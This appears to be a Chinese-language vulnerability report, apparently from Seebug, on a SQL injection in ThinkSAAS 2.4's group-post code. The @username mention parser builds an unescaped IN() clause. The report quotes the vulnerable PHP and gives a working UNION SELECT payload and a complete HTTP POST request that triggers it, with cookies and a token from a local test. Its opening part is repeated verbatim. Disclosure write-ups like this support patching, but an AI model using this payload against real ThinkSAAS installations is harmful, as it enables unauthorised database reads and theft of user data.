### 简要描述: ThinkSAAS 2.4 ### 详细说明: app\group\action\add.php 60行开始 ``` // 执行发布帖子 case "do" : ......省略...... $groupid = intval ( $_POST ['groupid'] ); $title = trim( $_POST ['title'] ); $content = tsClean( $_POST ['content'] ); $typeid = intval ( $_POST ['typeid'] ); $tag = $_POST ['tag']; ......省略...... // 处理@用户名 if (preg_match_all ( '/@/', $content, $at )) { preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); $unames = $matches [1]; $ns = "'" . implode ( "','", $unames ) . "'"; $csql = "username IN($ns)"; if ($unames) { $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); foreach ( $query as $v ) { $content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content ); $msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array ( 'id' => $topicid ) ); aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content ); } $new ['group']->update ( 'group_topic', array (...
### 简要描述: ThinkSAAS 2.4 ### 详细说明: app\group\action\add.php 60行开始 ``` // 执行发布帖子 case "do" : ......省略...... $groupid = intval ( $_POST ['groupid'] ); $title = trim( $_POST ['title'] ); $content = tsClean( $_POST ['content'] ); $typeid = intval ( $_POST ['typeid'] ); $tag = $_POST ['tag']; ......省略...... // 处理@用户名 if (preg_match_all ( '/@/', $content, $at )) { preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); $unames = $matches [1]; $ns = "'" . implode ( "','", $unames ) . "'"; $csql = "username IN($ns)"; if ($unames) { $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); foreach ( $query as $v ) { $content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content ); $msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array ( 'id' => $topicid ) ); aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content ); } $new ['group']->update ( 'group_topic', array ( 'topicid' => $topicid ), array ( 'content' => $content ) ); } } ......省略...... ``` tsClean函数 ``` function tsClean($text) { $text = stripslashes(trim($text)); //去除前后空格,并去除反斜杠 //$text = br2nl($text); //将br转换成/n ///////XSS start require_once 'thinksaas/xsshtml.class.php'; $xss = new XssHtml($text); $text = $xss -> getHtml(); //$text = substr ($text, 4);//去除左边<p>标签 //$text = substr ($text, 0,-5);//去除右边</p>标签 ///////XSS end //$text = html_entity_decode($text,ENT_NOQUOTES,"utf-8");//把 HTML 实体转换为字符 //$text = strip_tags($text); //去掉HTML及PHP标记 //$text = cleanJs ( $text ); $text = htmlentities($text, ENT_NOQUOTES, "utf-8"); //把字符转换为 HTML 实体 return $text; } ``` $_POST ['content']在初始化时经过addslashes,进入 tsClean函数stripslashes除去了转义,再除去xss代码,赋给content 变量。 preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); 判断文章内容是否有@某个用户,如果有则提取@的用户名。 $ns = "'" . implode ( "','", $unames ) . "'"; $csql = "username IN($ns)"; 最后进入$csql ,并执行$query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); 可以闭合单引号,实现注入。 对查询的结果,进行如下处理。 ``` $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); foreach ( $query as $v ) { $content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content ); $msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array ( 'id' => $topicid ) ); aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content ); } $new ['group']->update ( 'group_topic', array ( 'topicid' => $topicid ), array ( 'content' => $content ) ); ``` 将原文章内容中 @admin 的形式替换成 [@admin:1111]这种形式。最后在显示时[@admin:1111]会转化为: <a '="" uid="1111" rel="face" href="http://127.0.0.1/thinksaas/index.php?app=user&ac=space&id=1111 ">@admin</a> 显示出注入结果。 前提:系统存在2个账户,例如admin和test。 于是构造payload,把content赋值: <p>aaaa @admin')/**/union/**/select/**/version(),'test'# aaaaaa@test aaaa<br/></p> 会执行select userid,username from user_info where username IN('admin')/**/union/**/select/**/version(),'test'#') payload被替换为: <p>aaaa [@admin:1111]')/**/union/**/select/**/version(),'test'# aaaaaa[@test:注入结果] aaaa<br/></p> http包: ``` POST /thinksaas/index.php?app=group&ac=add&ts=do HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/thinksaas/index.php?app=group&ac=add&id=1 Cookie: c_secure_ssl=bm9wZQ%3D%3D; c_secure_uid=MQ%3D%3D; c_secure_pass=d2f4d9c199d480bde1c7527ab5f00f67; c_secure_tracker_ssl=bm9wZQ%3D%3D; c_secure_login=bm9wZQ%3D%3D; PHPSESSID=v56iku742gj03lrpu8dhmhqrn6; ts_autologin=6wgf4rovqk4c8ckso04wswosg0owwc0; ts_email=admin%40admin.com Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------16131784015115 Content-Length: 788 -----------------------------16131784015115 Content-Disposition: form-data; name="title" sql -----------------------------16131784015115 Content-Disposition: form-data; name="content" <p>aaaa @admin')/**/union/**/select/**/version(),'test'# aaaaaa@test aaaa<br/></p> -----------------------------16131784015115 Content-Disposition: form-data; name="tag" -----------------------------16131784015115 Content-Disposition: form-data; name="iscomment" 0 -----------------------------16131784015115 Content-Disposition: form-data; name="iscommentshow" 0 -----------------------------16131784015115 Content-Disposition: form-data; name="groupid" 1 -----------------------------16131784015115 Content-Disposition: form-data; name="token" 79e185a1215f76ec26e0aa120ec8240f0eb3aa1a -----------------------------16131784015115-- ``` [<img src="https://images.seebug.org/upload/201505/011742448453f380c04fa03f460e4753afc5aa23.jpg" alt="QQ截图20150501174213.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/011742448453f380c04fa03f460e4753afc5aa23.jpg) ### 漏洞证明: 官网有云waf,只做了本地复现